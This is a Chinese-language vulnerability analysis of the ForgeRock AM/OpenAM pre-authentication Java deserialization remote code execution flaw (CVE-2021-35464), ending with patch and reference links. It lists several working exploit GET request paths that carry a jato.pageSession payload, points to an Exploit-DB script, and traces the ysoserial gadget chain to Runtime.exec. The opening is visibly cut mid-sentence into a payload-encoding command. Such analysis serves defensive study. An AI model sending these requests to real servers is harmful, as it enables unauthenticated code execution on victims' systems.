0x00漏洞描述ForgeRock AM是一个开源的访问管理、权限控制平台,在大学、社会组织中存在广泛的应用。[ | base64 | tr '/+' '_-' | tr -d '='
将payload复制并去除换行符,带入漏洞url中
GET /openam2/oauth2/..;/ccversion/Version?jato.pageSession=PAYLOAD
GET /openam2/oauth2/..///ccversion/Version?jato.pageSession=
GET /openam2/oauth2///..///ccversion/Version?jato.pageSession=
GET /openam2/oauth2/..;;;;;/ccversion/Version?jato.pageSession=
GET /openam2/oauth2/..//;/ccversion/Version?jato.pageSession=
GET /openam2/oauth2/../ccversion/Version?jato.pageSession=
GET /openam2/ccversion/Version?jato.pageSession=
以上任意一种url均能利用成功
脚本利用
该EXP取自:https://www.exploit-db.com/exploits/50131
利用效果如图
0x04漏洞分析
本次漏洞分析环境即利用idea本地搭建、debug该项目。关于idea怎么运行war可参考:https://www.cxyzjd.com/article/qq_40389276/99405852
通过漏洞关键代码的描述,可以先找到漏洞利用关键入口,即 jato.pageSession 参数取值,可以看到参数值首先会经过 jato.util.Encoder 的 decodehttp64 方法进行解码,再由 Encoder.deserialize 进行反序列化的处理成会话属性,进而在内部由 ObjectInputStream 执行该反序列化内容
带入 decodeHtpp64.decompress() 方法的处理,得到byte类型的payload
接下来进入 Encoder.deserialize() 做处理,将上一步转换出来的byte数组以 ApplicationObjectInputStream 的 readObject 方法去序列化恢复读取该对象
refObject.getclass().getClassLoader() 即获取当前对象所属的Class对象的类装载器,接下来就是围绕着利用ysoserial工具生成的payload做调用链的跟进
以下是从 readObject 到 Runtime.exec 的最终执行路径
java.util.PriorityQueue.readObject()
...
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Table
org.apache.click.util.PropertyUtils.getValue()
...
java.lang.reflect.Method.invoke()
...
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
...
ClassLoader.defineClass()
Class.newInstance()
...
Runtime.exec()
继续跟进
最后来到 invokeReadObject 方法中的 readObjectMethod 即是java.util.PriorityQueue.readObject(java.io.ObjectInputStream),在该方法内部完成了以上调用链并弹出计算器
以下便是从获取url到payload成功执行的函数调用栈
invokeReadObject:1060, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:359, Encoder (com.iplanet.jato.util)
deserializePageAttributes:934, ViewBeanBase (com.iplanet.jato.view)
invokeRequestHandler:568, ViewBeanBase (com.iplanet.jato.view)
dispatchRequest:957, ApplicationServletBase (com.iplanet.jato)
processRequest:615, ApplicationServletBase (com.iplanet.jato)
doGet:459, ApplicationServletBase (com.iplanet.jato)
service:635, HttpServlet (javax.servlet.http)
...
0x05修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://backstage.forgerock.com/knowledge/kb/article/a47894244
0x06参考链接
https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
- 本文作者: w1nk1
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/676
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!